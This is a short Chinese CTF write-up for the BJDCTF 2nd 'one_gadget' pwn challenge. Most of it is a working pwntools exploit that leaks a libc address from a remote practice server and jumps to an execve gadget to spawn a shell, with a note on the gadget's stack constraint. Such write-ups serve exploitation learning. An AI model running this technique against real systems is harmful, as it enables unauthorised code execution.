[BJDCTF 2nd]one_gadget

在這裏插入圖片描述

在這裏插入圖片描述
在這裏插入圖片描述
這裏主要是用到了這個工具,但是這個工具的原理我還不瞭解,但是我調試了一下,最主要的是這個工具提供的shell需要滿足它下面給的約束條件,對於這個題目而言要利用這個shell的條件就是[rsp + 0x70] == NULL
在這裏插入圖片描述
exp

from pwn import *

context(log_level = 'debug')

libc = ELF('./libc/libc-2.29.64.so')
p = remote('node3.buuoj.cn', 25656)
p.recvuntil('0x'.encode())
printf_addr = int(p.recvn(12), 16)
printf_offset = libc.sym['printf']
libc_base = printf_addr - printf_offset

execve_offset = 0x106ef8
execve_addr = libc_base + execve_offset
payload = str(execve_addr)
p.sendline(payload)
p.interactive()

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章